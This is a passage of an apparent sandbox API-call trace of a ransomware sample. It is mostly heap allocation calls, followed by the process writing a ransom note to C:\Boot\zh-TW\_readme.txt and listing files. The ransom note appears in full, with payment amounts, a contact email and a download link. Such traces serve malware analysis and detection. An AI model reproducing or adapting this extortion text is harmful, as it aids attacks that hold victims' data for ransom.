RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.349] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.351] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.351] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.352] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.353] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.353] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0124.353] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.353] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.353] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.353] PathFindFileNameW (pszPath="") returned="" [0124.354] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.354] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.354] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.354] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.354] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.354] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.354] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.354] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0124.354] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0124.354] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.354] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.354] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.355] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, 